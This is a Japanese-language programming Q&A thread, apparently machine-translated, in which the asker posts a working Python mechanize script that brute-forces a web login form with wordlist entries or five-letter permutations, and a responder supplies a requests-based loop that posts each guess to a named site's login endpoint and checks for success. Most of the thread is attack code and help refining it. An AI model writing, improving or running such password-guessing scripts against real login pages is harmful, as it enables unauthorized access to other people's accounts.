2016-06-24 14 views
1

私はこのブルートフォーススクリプトを持っています。私のサンプルサイトのWebフォームが正常にログインしたときに同じURLにリダイレクトするとします。たとえば、ログインするには、このサイトに行く必要があります:https://example.com/account/、間違ったユーザー名/パスワードを入力すると、ページのURLは変更されません。すべてが同じままです。正しいユーザー名&を入力すると、ページタイトルは変更されますが、URLは変わりません。Python - mechanize/requests getタイトル

私は変更したい:response.geturl() --> response.gettitle()しかし、私はこれのための正しい属性がわからない。

マイコード:

import requests 
data ={"login":"yourlogin", 
"pass": "yourpass"} 


r = requests.post("https://bagar.io/engine/modules/login.php", data=data) 
print("success" in r.json()) 

ログインに成功戻り{u'success': u'allow'}と失敗リターン{u'error':lot of unicode...}

#!/usr/bin/python 
import mechanize 
import itertools 
import sys 
import os 

br = mechanize.Browser() 
br.set_handle_equiv(True) 
br.set_handle_redirect(True) 
br.set_handle_referer(True) 
br.set_handle_robots(False) 
ua = 'Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 (compatible;)' 
br.addheaders = [('User-Agent', ua), ('Accept', '*/*')] 

if len(sys.argv) > 1: 
    if os.path.exists(sys.argv[1]): 
     combos = [line.strip() for line in open(sys.argv[1])] 
    else: 
     print "[-] File not found" 
     sys.exit() 
else: 
    combos = itertools.permutations("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",5) 

r = br.open("https://example.com/account/") 

for x in combos: 
    br.select_form(nr = 0) 
    br.form['login'] = "my_username" 
    br.form['pass'] = ''.join(x) 
    print "\033[1;33;48mChecking:"+"\033[1;34;48m",br.form['pass'] 
    response = br.submit() 
    if response.geturl()=="https://example.com/account/": 
    #if response.gettitle()==... 
     print "" 
     print "\033[1;32;48mPassword found:"+"\033[1;36;48m",''.join(x) 
     break 
+0

'response.title()'? – Arpan

+0

動作しません:AttributeError:closeable_responseインスタンスに属性 'title'がありません –

+0

http://stackoverflow.com/questions/11531958/verifying-br-submit-using-pythons-mechanize-moduleをご覧ください – Arpan

答えて

1

これは要求に非常に簡単です。

だからログインデータを渡しておいてください。

for x in combos: 
     data = {"login":"my_username", 
       "pass":"".join(x)} 
     r = requests.post("https://bagar.io/engine/modules/login.php", data=data) 
     print("success" in r.json()) 
+0

あなたの投稿を編集し、上記のようにスクリプトを作成できますか?それが望むなら、それは技術的にブルートフォースでウェブフォームを強制することを意味する。 –

+0

本当に必要なのは:br.select_form(nr = 0)? –

+0

いいえ、コピーペースト –